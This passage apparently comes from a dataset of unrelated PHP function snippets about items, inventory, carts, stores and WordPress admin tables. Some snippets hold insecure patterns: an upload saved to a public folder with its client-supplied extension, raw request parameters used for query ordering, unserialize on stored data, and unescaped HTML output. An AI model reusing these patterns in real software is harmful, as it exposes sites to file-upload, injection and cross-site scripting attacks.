0)\n\t\t\t\t{\n\t\t\t\t\tfor ($i=0; $i < $count ; $i++) { \n\t\t\t\t\t\t$inventories = new Inventory;\n\t\t\t\t\t\t$inventories->item_id = $items->id;\n\t\t\t\t\t\t$inventories->user_id = Auth::user()->id;\n\t\t\t\t\t\t$inventories->in_out_qty = $batch_arr['quantity'][$i];\n\t\t\t\t\t\t$tempTotalQuantity += $batch_arr['quantity'][$i];\n\t\t\t\t\t\t$inventories->batch_no = $batch_arr['batch_no'][$i];\n\t\t\t\t\t\t$inventories->expiry_date = $batch_arr['expiry'][$i];\n\t\t\t\t\t\t$inventories->remarks = 'Manual Edit of Quantity';\n\t\t\t\t\t\t$inventories->save();\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n // process avatar\n $image = $request->file('avatar');\n\t\t\tif(!empty($image))\n\t\t\t{\n\t\t\t\t$avatarName = 'item' . $items->id . '.' . \n\t\t\t\t$request->file('avatar')->getClientOriginalExtension();\n\n\t\t\t\t$request->file('avatar')->move(\n\t\t\t\tbase_path() . '/public/images/items/', $avatarName\n\t\t\t\t);\n\t\t\t\t$img = Image::make(base_path() . '/public/images/items/' . $avatarName);\n\t\t\t\t$img->resize(100, null, function ($constraint) {\n\t\t\t\t\t$constraint->aspectRatio();\n\t\t\t\t});\n\t\t\t\t$img->save();\n\t\t\t\t$itemAvatar = Item::find($items->id);\n\t\t\t\t$itemAvatar->avatar = $avatarName;\n\t $itemAvatar->save();\n \t}\n \t$itemQuantity = Item::find($items->id);\n\t\t\t$itemQuantity->quantity = $tempTotalQuantity;\n \t$itemQuantity->save();\n Session::flash('message', 'You have successfully added item');\n return Redirect::to('items/create');\n\t}", "function getItems();", "function getItems();", "public function prepare_items() {\r\n\t\t$this->_column_headers = $this->get_column_info();\r\n\r\n\t\t/** Process bulk action */\r\n\t\t$this->process_bulk_action();\r\n\r\n\t\t$per_page = $this->get_items_per_page( 'customers_per_page', 5 );\r\n\t\t$current_page = $this->get_pagenum();\r\n\t\t$total_items = self::record_count();\r\n\r\n\t\t$this->set_pagination_args( [\r\n\t\t\t'total_items' => $total_items,\r\n\t\t\t'per_page' => $per_page\r\n\t\t] );\r\n\r\n\t\t$this->items = self::get_customers( $per_page, $current_page );\r\n\t}", "protected function responseToItems($response)\n {\n $array = array();\n foreach($response->product as $current) {\n\n if( !isset($current->name) || \n !isset($current->regularPrice) || \n !isset($current->url) || \n !isset($current->productId) ) \n {\n //If any of the required info is not present skip this item.\n continue;\n }\n\n $item = new Item();\n $item->setName((string)$current->name);\n $item->setPrice(intval((string)$current->regularPrice), Item::CURRENCY_UNIT_DOLLAR);\n $item->setLink((string)$current->url);\n $item->setvendorId((string)$current->productId);\n \n if(isset($current->thumbnailImage))\n {\n $item->setSmallImage((string)$current->thumbnailImage);\n }\n \n if(isset($current->image))\n {\n $item->setMediumImage((string)$current->image);\n }\n \n $array[] = $item;\n }\n\n return $array;\n\n }", "public function prepare_items() {\n\t\t\t\t$args = array(\n\t\t\t\t\t'page' => $this->get_pagenum(),\n\t\t\t\t\t'per_page' => 50,\n\t\t\t\t\t'fields' => array( 'last_updated' => true, 'downloaded' => true, 'icons' => true ),\n\t\t\t\t\t// Send the locale and installed plugin slugs to the API so it can provide context-sensitive results.\n\t\t\t\t\t'locale' => get_locale(),\n\t\t\t\t\t'browse' => 'popular',\n\t\t\t\t);\n\n\t\t\t\tif ( $this->installed_plugins )\n\t\t\t\t\t$args['installed_plugins'] = array_unique( array_filter( $this->installed_plugins ) );\n\n\t\t\t\t$api = plugins_api( 'query_plugins', $args );\n\t\t\n\t\t\t\tif ( is_wp_error( $api ) ) {\n\t\t\t\t\t$this->error = $api;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t$this->items = $api->plugins;\n\n\t\t\t\t$this->set_pagination_args( array(\n\t\t\t\t\t'total_items' => $api->info['results'],\n\t\t\t\t\t'per_page' => $args['per_page'],\n\t\t\t\t) );\n\n\t\t\t}", "public function prepare_items() {\n\t\t/** Process bulk action */\n\t\t$this->process_bulk_action();\n\n\t\t$columns = $this->get_columns();\n $hidden = $this->get_hidden_columns();\n $sortable = $this->get_sortable_columns();\n $this->_column_headers = array($columns, $hidden, $sortable);\n\n\t\t$per_page = $this->get_items_per_page( 'posts_per_page', 20 );\n\t\t$current_page = $this->get_pagenum();\n\t\t$total_items = self::record_count();\n\n\t\t$this->set_pagination_args( [\n\t\t\t'total_items' => $total_items, //WE have to calculate the total number of items\n\t\t\t'per_page' => $per_page //WE have to determine how many items to show on a page\n\t\t] );\n\n\t\t$this->items = self::get_posts( $per_page, $current_page );\n\t}", "public function prepare_items() {\n\t\t$column = $this->get_columns();\n\t\t$hidden = array();\n\t\t$sortable = $this->get_sortable_columns();\n\n\t\t$this->_column_headers = array( $column, $hidden, $sortable );\n\n\t\t$per_page = 20;\n\t\t$current_page = $this->get_pagenum();\n\t\t$offset = ( $current_page - 1 ) * $per_page;\n\n\t\t$args = array(\n\t\t\t'number' => $per_page,\n\t\t\t'offset' => $offset,\n\t\t);\n\n\t\tif ( isset( $_REQUEST['orderby'] ) && isset( $_REQUEST['order'] ) ) {\n\t\t\t$args['orderby'] = $_REQUEST['orderby'];\n\t\t\t$args['order'] = $_REQUEST['order'];\n\t\t}\n\n\t\t$this->items = Persistence::get( $args );\n\n\t\t$this->set_pagination_args(\n\t\t\tarray(\n\t\t\t\t'total_items' => Persistence::count(),\n\t\t\t\t'per_page' => $per_page,\n\t\t\t)\n\t\t);\n\t}", "public function addInventory($data)\n\t{\n\t\t$addInventory = $this->insert($data);\n\t\t$data['id_inventories'] = $this->getLastInsertValue();\n\t\treturn $data;\n\t}", "public function purchase_items()\n\t{\n\t\t$products = DB::table('products')->select('id as value', 'product_name as label')->where('category_id', 2)->orderBy('id', 'desc')->get();\n\t\t$str = json_encode($products);\n\t\t$str = preg_replace('/\"([^\"]+)\"\\s*:\\s*/', '$1:', $str);\n\t\techo $str;\n\t}", "public function run()\n {\n $rests = Rest::all();\n $packagings = Packaging::all();\n $stickers = Sticker::all();\n\n foreach ($rests as $rest) {\n $i = new Inventory();\n $i->answered_id = 3;\n $i->component_type = 'rest_frameworks';\n $i->component_id = $rest->id;\n $i->expected_rests = 0;\n $i->expected_sum = 0;\n $i->real_sum = 0;\n $i->real_rest = 0;\n $i->save();\n }\n\n // stickers inventory\n foreach ($stickers as $sticker) {\n $i = new Inventory();\n $i->answered_id = 3;\n $i->component_type = 'stickers';\n $i->component_id = $sticker->id;\n $i->expected_rests = 0;\n $i->expected_sum = 0;\n $i->real_sum = 0;\n $i->real_rest = 0;\n $i->save();\n }\n \n // packagings inventory\n foreach ($packagings as $packaging) {\n $i = new Inventory();\n $i->answered_id = 3;\n $i->component_type = 'packagings';\n $i->component_id = $packaging->id;\n $i->expected_rests = 0;\n $i->expected_sum = 0;\n $i->real_sum = 0;\n $i->real_rest = 0;\n $i->save();\n }\n\n }", "function ciniki_products_sapos_itemDelete($ciniki, $tnid, $invoice_id, $item) {\n\n //\n // A product was added to an invoice item, get the details and see if we need to \n // create a registration for this product\n //\n if( isset($item['object']) && $item['object'] == 'ciniki.products.product' && isset($item['object_id']) ) {\n //\n // Check the product exists\n //\n $strsql = \"SELECT id, uuid, inventory_flags, inventory_current_num \"\n . \"FROM ciniki_products \"\n . \"WHERE tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n . \"AND id = '\" . ciniki_core_dbQuote($ciniki, $item['object_id']) . \"' \"\n . \"\";\n $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.products', 'product');\n if( $rc['stat'] != 'ok' ) { \n return $rc;\n }\n if( !isset($rc['product']) ) {\n return array('stat'=>'ok');\n }\n $product = $rc['product'];\n\n //\n // Check if inventory needs to be updated\n //\n if( ($product['inventory_flags']&0x01) > 0 && isset($item['quantity']) && $item['quantity'] > 0 ) {\n //\n // Update inventory. It's done with a direct query so there isn't race condition on update.\n //\n//\n// NOTE: This does not happen here, inventory isn't reduced until shiping\n//\n// $strsql = \"UPDATE ciniki_products \"\n// . \"SET inventory_current_num = inventory_current_num + '\" . ciniki_core_dbQuote($ciniki, $item['quantity']) . \"' \"\n// . \"WHERE tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n// . \"AND id = '\" . ciniki_core_dbQuote($ciniki, $item['object_id']) . \"' \"\n// . \"\";\n// ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbUpdate');\n// $rc = ciniki_core_dbUpdate($ciniki, $strsql, 'ciniki.products');\n// if( $rc['stat'] != 'ok' ) {\n// return $rc;\n// }\n\n // Get the new value\n// $strsql = \"SELECT id, name, \"\n// . \"inventory_flags, \"\n// . \"inventory_current_num \"\n// . \"FROM ciniki_products \"\n// . \"WHERE tnid = '\" . ciniki_core_dbQuote($ciniki, $tnid) . \"' \"\n// . \"AND id = '\" . ciniki_core_dbQuote($ciniki, $item['object_id']) . \"' \"\n// . \"\";\n// $rc = ciniki_core_dbHashQuery($ciniki, $strsql, 'ciniki.products', 'product');\n// if( $rc['stat'] != 'ok' ) { \n// return $rc;\n// }\n// if( !isset($rc['product']) ) {\n// return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.products.147', 'msg'=>'Unable to find product'));\n// }\n// $product = $rc['product'];\n// \n// //\n// // Update the history\n// //\n// ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbAddModuleHistory');\n// ciniki_core_dbAddModuleHistory($ciniki, 'ciniki.products', 'ciniki_product_history', $tnid,\n// 2, 'ciniki_products', $product['id'], 'inventory_current_num', $product['inventory_current_num']);\n }\n return array('stat'=>'ok');\n }\n\n return array('stat'=>'ok');\n}", "public function loadPreviousItems()\n {\n //first get it out of db.\n if ($orderId = $this->_order->check_cart($this->_auth->id)) {\n $order = $this->_order->get_order($orderId);\n $this->_items = unserialize($order['items']); \n $this->_shipping = array();\n $this->_shippingCost = array();\n $this->_salesTax = array();\n $this->_total = 0;\n $this->persist();\n }\n }", "function out($code=\"\", $category=\"\", $qty=0, $desc=\"\", $type=INVENTORY_TYPE, $warehouse=0)\n {\n $product = $this->m_product->getdata_detail(array(\"product_variant_code\"=>$code));\n\n // $data = $this->getdata(array(\"inventory_item_code\"=>$code, \"inventory_categories\"=>$category, \"inventory_operator\"=>\"in\"),1,\"\",\"inventory_id\",\"desc\");\n $data = $this->getdata(array(\"inventory_item_code\"=>$code, \"inventory_categories\"=>$category),1,\"\",\"inventory_id\",\"desc\");\n\n if($code==\"\" || $category==\"\" || $qty==\"\" || $product->num_rows()!=1 || $data->num_rows()!=1)\n {\n die(\"parameter out inventory harus di lengkapi, item code : $code, category : $category\");\n }\n\n // jika tidak ada item ini di inventory maka tidak perlu kalkulasi stock_awal, average_nominal dll\n if($data->num_rows()==1)\n {\n $nominal_average = $data->row()->inventory_average_nominal_now_per_item;\n $stock_awal = $data->row()->inventory_total_stock_now;\n $nominal_awal = $data->row()->inventory_total_nominal_now;\n $total_qty = $data->row()->inventory_total_stock_now - $qty;\n $total_nominal = $data->row()->inventory_total_nominal_now - ($data->row()->inventory_average_nominal_now_per_item*$qty);\n }\n\n // set nama product\n if($product->row()->product_variant_type==\"\" || $product->row()->product_variant_value==\"\")\n {\n $name = $product->row()->product_name;\n }\n else {\n $name = $product->row()->product_name.\" - \".$product->row()->product_variant_type.\" - \".$product->row()->product_variant_value;\n }\n\n // set log inventory\n if($desc==\"\")\n {\n $desc = \"insert by \".$this->session->userdata('username');\n }\n\n $data_insert = array(\n \"inventory_item_code\" => $code,\n \"inventory_name\" => $name,\n \"inventory_categories\" => $category,\n \"inventory_item_type\" => $type,\n \"inventory_operator\" => \"out\",\n \"inventory_qty\" => $qty,\n \"inventory_nominal_per_item\" => $nominal_average,\n \"inventory_total_nominal\" => $nominal_average*$qty,\n \"inventory_stock_awal\" => $stock_awal,\n \"inventory_nominal_stock_awal\" => $nominal_awal,\n \"inventory_average_nominal_now_per_item\" => $nominal_average,\n \"inventory_total_stock_now\" => $total_qty,\n \"inventory_total_nominal_now\" => $total_nominal,\n \"inventory_warehouse_id\" => $warehouse,\n \"inventory_date_craeted\" => date('Y-m-d H:i:s'),\n \"inventory_log\" => $desc,\n );\n $this->db->insert('inventory', $data_insert);\n return $this->db->insert_id();\n }", "public function store(StoreItem $request)\n {\n $item = new Item();\n\n $item = app(ItemService::class)->setItemAttributes($item, $request);\n\n $item->save();\n\n $shops = $request->get('item_shops');\n\n if ( empty($shops) ) {\n if (!$item->is_boss_item) {\n $item->shops()->attach(1);\n }\n }\n else {\n foreach ($shops as $shop_id) {\n $item->shops()->attach($shop_id);\n }\n }\n\n return redirect(route('items.show', ['id' => $item->id]), 201);\n }", "function prepare_items() {\n\t\t$per_page\t= $this->per_page;\n\n\t\t// Get All, Hidden, Sortable columns\n\t\t$columns = $this->get_columns();\n\t\t$hidden = array();\n\t\t$sortable = $this->get_sortable_columns();\n\n\t\t// Get final column header\n\t\t$this->_column_headers\t= array( $columns, $hidden, $sortable );\n\n\t\t// Get Data of particular page\n\t\t$data_res \t= $this->display_used_vouchers();\n\t\t$data \t\t= $data_res['data'];\n\n\t\t// Get current page number\n\t\t$current_page = $this->get_pagenum();\n\n\t\t// Get total count\n\t\t$total_items = $data_res['total'];\n\n\t\t// Get page items\n\t\t$this->items = $data;\n\n\t\t// We also have to register our pagination options & calculations.\n\t\t$this->set_pagination_args( array(\n\t\t\t\t\t\t\t\t\t\t\t'total_items' => $total_items,\n\t\t\t\t\t\t\t\t\t\t\t'per_page' => $per_page,\n\t\t\t\t\t\t\t\t\t\t\t'total_pages' => ceil( $total_items/$per_page )\n\t\t\t\t\t\t\t\t\t\t) );\n }", "function storeEquipment($store_id, $journey_id, $character_id, $player_id) {\n\t\n\t\taddToDebugLog(\"manageEquipment(), Function Entry - supplied parameters: Player ID: \" . $player_id . \"; Journey ID: \" . $journey_id . \"; Character ID: \" . $charcter_id . \"; Store ID: \" . $store_id . \", INFO\");\n\t\n\t\t// Get store name\n\t\t$store_name = getStoreName($store_id);\n\t\n\t\techo \"<table cellpadding=3 cellspacing=0 border=1>\";\n\t\techo \"<tr><td colspan=5 align=center><h2>For Sale</h2></tr>\";\n\t\techo \"<tr bgcolor=#bbb><td>Item<td align=center>Weight<td align=center>Cost<td align=center>Buy</tr>\";\n\t\n\t\tgetStoreContentsBySlot($store_id, $journey_id, $character_id, $player_id, 'chest');\n\t\tgetStoreContentsBySlot($store_id, $journey_id, $character_id, $player_id, 'head');\n\t\tgetStoreContentsBySlot($store_id, $journey_id, $character_id, $player_id, 'legs');\n\t\tgetStoreContentsBySlot($store_id, $journey_id, $character_id, $player_id, 'shield');\n\t\tgetStoreContentsBySlot($store_id, $journey_id, $character_id, $player_id, 'weapon');\n\t\tgetStoreContentPotions($store_id, $journey_id, $character_id, $player_id);\n\t\tgetStoreContentPets($store_id, $journey_id, $character_id, $player_id);\n\t\n\t\techo \"</table>\";\n\t\n\t}", "public function _getItems(Cart $cart)\n {\n $items = $cart->getQuote()->getAllVisibleItems();\n try {\n $data = [];\n $configurableSkus = [];\n foreach ($items as $item) {\n $product = $item->getProduct();\n $_item = [];\n $_item['vars'] = [];\n if ($item->getProduct()->getTypeId() == 'configurable') {\n $_item['isConfiguration'] = 1;\n $parentIds[] = $item->getParentItemId();\n $options = $this->cpModel->getOrderOptions($product);\n $_item['id'] = $options['simple_sku'];\n $_item['title'] = $options['simple_name'];\n $_item['vars'] = $this->_getVars($options);\n $configurableSkus[] = $options['simple_sku'];\n } elseif (!in_array($item->getSku(), $configurableSkus) && $item->getProductType() != 'bundle') {\n $_item['id'] = $item->getSku();\n $_item['title'] = $item->getName();\n } else {\n $_item['id'] = null;\n }\n if ($_item['id']) {\n $_item['qty'] = (int)$item->getQty();\n $_item['url'] = $item->getProduct()->getProductUrl();\n $_item['image'] = $this->productHelper->getSmallImageUrl($product);\n $current_price = null;\n $reg_price = $product->getPrice();\n $special_price = $product->getSpecialPrice();\n $special_from = $product->getSpecialFromDate();\n $special_to = $product->getSpecialToDate();\n if ($special_price &&\n ($special_from === null || (strtotime($special_from) < strtotime('Today'))) &&\n ($special_to === null || (strtotime($special_to) > strtotime('Today')))) {\n $current_price = $special_price;\n } else {\n $current_price = $reg_price;\n }\n $_item['price'] = $current_price * 100;\n if ($tags = $this->_getTags($product)) {\n $_item['tags'] = $tags;\n }\n $data[] = $_item;\n }\n }\n\n return $data;\n } catch (\\Exception $e) {\n $this->clientManager->getClient()->logger($e);\n\n return false;\n }\n }", "public function testDestiny2EquipItem()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "public function inventory() {\n\n if(isset($this->cache['inventory'])) return $this->cache['inventory'];\n\n // get all items within the directory\n $ignore = array('.', '..', '.DS_Store', '.git', '.svn', 'Thumb.db');\n $items = array_diff(scandir($this->root), array_merge($ignore, (array)$this->kirby->option('content.file.ignore')));\n\n // create the inventory\n $this->cache['inventory'] = array(\n 'children' => array(),\n 'content' => array(),\n 'meta' => array(),\n 'thumbs' => array(),\n 'files' => array(),\n );\n\n // normalize the filename if possible\n if($this->kirby->option('content.file.normalize') && class_exists('Normalizer')) {\n $items = array_map('Normalizer::normalize', $items);\n }\n\n foreach($items as $item) {\n\n // skip any invisible files and folders\n if(substr($item, 0, 1) === '.') continue;\n\n $root = $this->root . DS . $item;\n\n if(is_dir($root)) {\n $this->cache['inventory']['children'][] = $item;\n } else if(pathinfo($item, PATHINFO_EXTENSION) == $this->kirby->options['content.file.extension']) {\n $this->cache['inventory']['content'][] = $item;\n } else if(strpos($item, '.thumb.') !== false and preg_match('!\\.thumb\\.(jpg|jpeg|png|gif)$!i', $item)) {\n // get the filename of the original image and use it as the array key\n $image = str_replace('.thumb', '', $item);\n // this makes it easier to find the corresponding image later\n $this->cache['inventory']['thumbs'][$image] = $item;\n } else {\n $this->cache['inventory']['files'][] = $item;\n }\n\n }\n\n foreach($this->cache['inventory']['thumbs'] as $key => $thumb) {\n // remove invalid thumbs by looking for a matching image file and\n if(!in_array($key, $this->cache['inventory']['files'])) {\n $this->cache['inventory']['files'][] = $thumb;\n unset($this->cache['inventory']['thumbs'][$key]);\n }\n }\n\n foreach($this->cache['inventory']['content'] as $key => $content) {\n $file = pathinfo($content, PATHINFO_FILENAME);\n if(in_array($file, $this->cache['inventory']['files'])) {\n $this->cache['inventory']['meta'][$file] = $content;\n unset($this->cache['inventory']['content'][$key]);\n }\n }\n\n // sort the children\n natsort($this->cache['inventory']['children']);\n\n return $this->cache['inventory'];\n\n }", "function GetInventoryList()\r\n{\r\n\tClearCache();\r\n\r\n\theader(\"Content-Type: text/xml\");\r\n\t/*\r\n\t\tas long as there's a first item in a menu then we'll keep going through the list\r\n\t*/\r\n\t\r\n\t$arAccounts = array();\r\n\t$arReceivers = array();\r\n\t\r\n\t$arAccounts[0]['name'] = \"1234567890123456\";\r\n\t$arAccounts[0]['id'] = 1;\r\n\t$arAccounts[0]['remove'] = 0;\r\n\t$arAccounts[0]['group'] = \"Wall 1\";\r\n\r\n\t$arAccounts[1]['name'] = \"1234567890123457\";\r\n\t$arAccounts[1]['id'] = 2;\r\n\t$arAccounts[1]['remove'] = 1;\r\n\t$arAccounts[1]['group'] = \"\";\r\n\r\n\t$arAccounts[2]['name'] = \"1234567890123456\";\r\n\t$arAccounts[2]['id'] = 3;\r\n\t$arAccounts[2]['remove'] = 0;\r\n\t$arAccounts[2]['group'] = \"This is 16 digit\";\r\n\r\n\t$arReceivers[0]['name'] = \"000123456789\";\r\n\t$arReceivers[0]['id'] = 1;\r\n\r\n\t$arReceivers[1]['name'] = \"123456789012\";\r\n\t$arReceivers[1]['id'] = 2;\r\n\r\n\t$arReceivers[2]['name'] = \"678967867892\";\r\n\t$arReceivers[2]['id'] = 2;\r\n\r\n\t$arReceivers[3]['name'] = \"134253247562\";\r\n\t$arReceivers[3]['id'] = 2;\r\n\t\r\n\t$arReceivers[4]['name'] = \"645365345656\";\r\n\t$arReceivers[4]['id'] = 2;\r\n\t\r\n\t/*\r\n\t$arReceivers[5]['name'] = \"897678346546\";\r\n\t$arReceivers[5]['id'] = 2;\r\n\t*/\r\n\t\r\n\t$iCount = 0;\r\n\t\r\n\t$strResults = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\n<list>\\n\";\r\n\t\r\n\tforeach($arAccounts as $account)\r\n\t{\r\n\t\t$name = $account['name'];\r\n\t\t$id = $account['id'];\r\n\t\t$group = $account['group'];\r\n\r\n\t\t$strResults.= \"\\t\\t<account>\\n\";\r\n\t\t$strResults.= \"\\t\\t\\t<name>$name</name>\\n\";\r\n\t\t$strResults.= \"\\t\\t\\t<id>$id</id>\\n\";\r\n\t\t$strResults.= \"\\t\\t\\t<group>$group</group>\\n\";\r\n\r\n\t\t/*\r\n\t\t\tInsert receiver information here\r\n\t\t*/\r\n\t\tif($iCount == 0)\r\n\t\t{\r\n\t\t\t$iCount = 1;\r\n\t\t\tforeach($arReceivers as $receiver)\r\n\t\t\t{\r\n\t\t\t\t$name = $receiver['name'];\r\n\t\t\t\t$id = $receiver['id'];\r\n\t\t\r\n\t\t\t\t$strResults.= \"\\t\\t<receiver>\\n\";\r\n\t\t\t\t$strResults.= \"\\t\\t\\t<name>$name</name>\\n\";\r\n\t\t\t\t$strResults.= \"\\t\\t\\t<id>$id</id>\\n\";\r\n\t\t\t\t$strResults.= \"\\t\\t</receiver>\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$strResults.= \"\\t\\t</account>\\n\";\r\n\t}\r\n\t\r\n\t$strResults.=\"</list>\";\r\n\techo $strResults;\r\n}", "public function &items();", "public function get_items(){\n\t \t//Si no esta vacio empieza a imprimirlos\n\t \tif(!empty($this->cart)){\n\t \t\t\n\t\t \tforeach ($this->cart as $linea) {\n\t\t \t\t\n\t\t \t\t?>\n\t\t\t <tr class=\"filaTicket\">\n\t\t\t\t <td height=\"20\"><?=$linea['code']?></td>\n\t\t\t\t <td><?=$linea['product']?></td>\n\t\t\t\t <td align=\"right\"><?php echo number_format($linea['price'], 2, ',','.')?></td>\n\t\t\t\t <td align=\"right\"><?=$linea['iva']?></td>\n\t\t\t\t <td align=\"right\"><?= $linea['amount']?></td>\n\t\t\t\t <td align=\"right\"><?php echo number_format($linea['subtotal'], 2, ',','.') ?></td>\n\n\t\t\t\t \n\t\t\t\t <td>\n\t\t\t\t <button onClick=\"borrarProducto(<?=$linea['code']?>);\">Borrar</button>\n\n\t\t\t\t </td>\n\n\t\t\t </tr>\n\t\t \t\t\t<?php\n\n\t \t}\n\n\t \t}\n\t \t\n\t }", "public function new_menu_items( $items ) {\n\t\t// Remove logout menu item.\n\t\t$logout = $items['customer-logout'];\n\t\tunset( $items['customer-logout'] );\n\n\t\t// Insert VAT Number.\n\t\t$items[ $this->endpoint ] = get_option( 'woocommerce_eu_vat_number_field_label', 'VAT number' );\n\n\t\t// Insert back logout item.\n\t\t$items['customer-logout'] = $logout;\n\n\t\treturn $items;\n\t}", "protected function initItems()\n {\n if (is_null($this->_items)) {\n // Set the element classes\n $model = $this->getModel();\n $keys = $model->getKeys();\n\n foreach ($model->getItemNames() as $item) {\n if (($item == $this->receptionCodeItem) || in_array($item, $this->editItems)) {\n continue;\n }\n if (in_array($item, $this->exhibitItems)) {\n $model->set($item, 'elementClass', 'Exhibitor');\n } elseif (in_array($item, $this->hiddenItems)) {\n $model->set($item, 'elementClass', 'Hidden');\n } elseif (in_array($item, $keys)) {\n $model->set($item, 'elementClass', 'Hidden');\n } else {\n $model->set($item, 'elementClass', 'None');\n }\n }\n\n $this->_items = array_merge(\n $this->hiddenItems,\n $this->exhibitItems,\n array($this->receptionCodeItem),\n $this->editItems\n );\n }\n }", "protected function initItems()\n {\n if (is_null($this->_items)) {\n // Set the element classes\n $model = $this->getModel();\n $keys = $model->getKeys();\n\n foreach ($model->getItemNames() as $item) {\n if (($item == $this->receptionCodeItem) || in_array($item, $this->editItems)) {\n continue;\n }\n if (in_array($item, $this->exhibitItems)) {\n $model->set($item, 'elementClass', 'Exhibitor');\n } elseif (in_array($item, $this->hiddenItems)) {\n $model->set($item, 'elementClass', 'Hidden');\n } elseif (in_array($item, $keys)) {\n $model->set($item, 'elementClass', 'Hidden');\n } else {\n $model->set($item, 'elementClass', 'None');\n }\n }\n\n $this->_items = array_merge(\n $this->hiddenItems,\n $this->exhibitItems,\n array($this->receptionCodeItem),\n $this->editItems\n );\n }\n }", "private function _cart($items = array())\n {\n \treturn array(\n 'id'\t\t=> $items['id'],\n 'qty' \t\t=> $items['qty'],\n 'price' \t=> $this->_formatNumber($items['price']),\n 'name' \t\t=> $items['name'],\n \t'options'\t=> isset($items['options']) ? $items['options'] : 0,\n 'date' \t \t=> date('Y-m-d H:i:s', time()),\n 'vat' => isset($items['vat']) ? $items['vat'] : $this->_config['vat']\n );\n }", "public function process_mkarapuz_price_file() {\n $xml = file_get_contents('http://www.mkarapuz.com.ua/price/mamaclub.xml');\n $xml = $movies = new SimpleXMLElement($xml);\n $storeId = 131;\n\n foreach ($xml->item as $item) {\n $barCode = (string)$item->EAN[0];\n\n $parameterGroup = ManagerHolder::get('ParameterGroup')->getOneWhere(array('bar_code' => $barCode), 'e.*, product.*');\n if (empty($parameterGroup)) {\n $product = ManagerHolder::get('Product')->getOneWhere(array('bar_code' => $barCode), 'e.*');\n } else {\n $product = $parameterGroup['product'];\n }\n\n if (empty($product)) {\n continue;\n }\n\n $where = array('product_id' => $product['id'], 'bar_code' => $barCode, 'store_id' => $storeId);\n $exists = ManagerHolder::get('StoreInventory')->existsWhere($where);\n $entity = array();\n $entity['qty'] = (int)$item->qty[0];\n\n if (!empty($parameterGroup)) {\n $entity['product_group_id'] = $parameterGroup['id'];\n }\n\n $entity['update_by_admin_id'] = '';\n $entity['update_source'] = 'web';\n $entity['updated_at'] = date(DOCTRINE_DATE_FORMAT);\n\n if ($exists) {\n ManagerHolder::get('StoreInventory')->updateAllWhere($where, $entity);\n } else {\n $entity = array_merge($entity, $where);\n ManagerHolder::get('StoreInventory')->insert($entity);\n }\n\n $productUpdate = array();\n $productUpdate['price'] = $item->rrc;\n $productUpdate['cost_price'] = $item->price;\n ManagerHolder::get('Product')->updateAllWhere(array('id' => $product['id']), $productUpdate);\n }\n }", "public function index()\r\n {\r\n $filters = request([\"sort_by\", \"description\", \"num_items\"]);\r\n $items = InventoryItem::filter($filters)\r\n ->with(\"user\")\r\n ->with(\"transactionSummary\")\r\n ->get();\r\n\r\n return array(\"items\" => $items);\r\n }", "public function checkShipment($items) {\n if (!is_array($items)) {\n return 0;\n }\n $arItems = array();\n $arStockItems = array();\n $orderItems = Mage::getModel('sales/order_item')\n ->getCollection()\n ->addFieldToFilter('item_id', array('in' => array_keys($items)));\n if ($orderItems->getSize()) {\n foreach ($orderItems as $orderItem) {\n $arItems[$orderItem->getId()] = $orderItem;\n $arStockItems[$orderItem->getProductId()] = $orderItem->getProductId();\n }\n }\n\n $stockItems = Mage::getModel('cataloginventory/stock_item')\n ->getCollection()\n ->addFieldToFilter('product_id', array('in' => array_keys($arStockItems)));\n if ($stockItems->getSize()) {\n foreach ($stockItems as $stockItem) {\n $arStockItems[$stockItem->getProductId()] = $stockItem;\n }\n }\n foreach ($items as $item_id => $qty) {\n $item = $arItems[$item_id];\n $stockItem = $arStockItems[$item->getProductId()];\n $manageStock = $stockItem->getManageStock();\n if ($stockItem->getUseConfigManageStock()) {\n $manageStock = Mage::getStoreConfig('cataloginventory/item_options/manage_stock', Mage::app()->getStore()->getStoreId());\n }\n if (!$manageStock) {\n continue;\n }\n if (in_array($item->getProductType(), array('configurable', 'bundle', 'grouped', 'virtual', 'downloadable')))\n continue;\n\n if ($this->selectWarehouseToShip($item->getProductId(), $qty) == 0) {\n return 0;\n };\n }\n return 1;\n }", "private function get_packing_items() {\n\t\t$product_pane = $this->dom->find( '#j-product-desc' );\n\t\tif ( ! $product_pane ) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$packaging_list = $product_pane[0]->find( '.product-packaging-list' );\n\t\tif ( ! $packaging_list ) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$items = $packaging_list[0]->find( 'li.packaging-item' );\n\t\tif ( ! $items ) {\n\t\t\treturn [];\n\t\t}\n\n\t\treturn $items;\n\t}", "function __construct()\n\t{\n\t\t$standard_proteins = array('Grilled chicken', 'Seared steak', 'Caramelized pork belly', 'Fried tofu', 'Seasonal roasted veggies');\n\t\t$standard_toppings = array('Pickles', 'Extra dressing', 'Cheese', 'Fruit', 'Jalapenos', 'Olives');\n\n\t\t$standard_quantities = array(0,1,2,3,4,5,6,7,8);\n\t\t//($name, $description, $price, $quantities, $options, $extras)\n\t\t$items = array(\n\t\t\tnew items('RICE BOWL', 'Brown Rice or White rice, pickled carrot & daikon, mesclun, cilantro, scallions, fried shallots, and soy drizzle.', 8.25, \n\t\t\t $standard_quantities, $standard_proteins, $standard_toppings),\n\t\t\tnew items('NOODLE SALAD', 'Soba or Rice Noodles (GF), carrot, mesclun, cilantro, and red onion.', 9, \n\t\t\t $standard_quantities, $standard_proteins, $standard_toppings),\n\t\t\tnew items('SALAD (GF)', 'A bed of mesclun with carrot, cilantro, red onion, tomatoes, and almonds', 8, \n\t\t\t $standard_quantities, $standard_proteins, $standard_toppings)\n\t\t);\n\n\t\t//$name, $description, $price, $quantities, $flavors, $sizes\n\t\t$standard_drink_sizes = array('Small', 'Medium', 'Large');\n\n\t\t$beverage = array(\n new beverage('RUMBO', 'Almonds and bananas are blended together.', 5.25, $standard_quantities, $standard_drink_sizes),\n new beverage('SUNRISE STAR', 'spinach, broccoli, celery, cucumber, 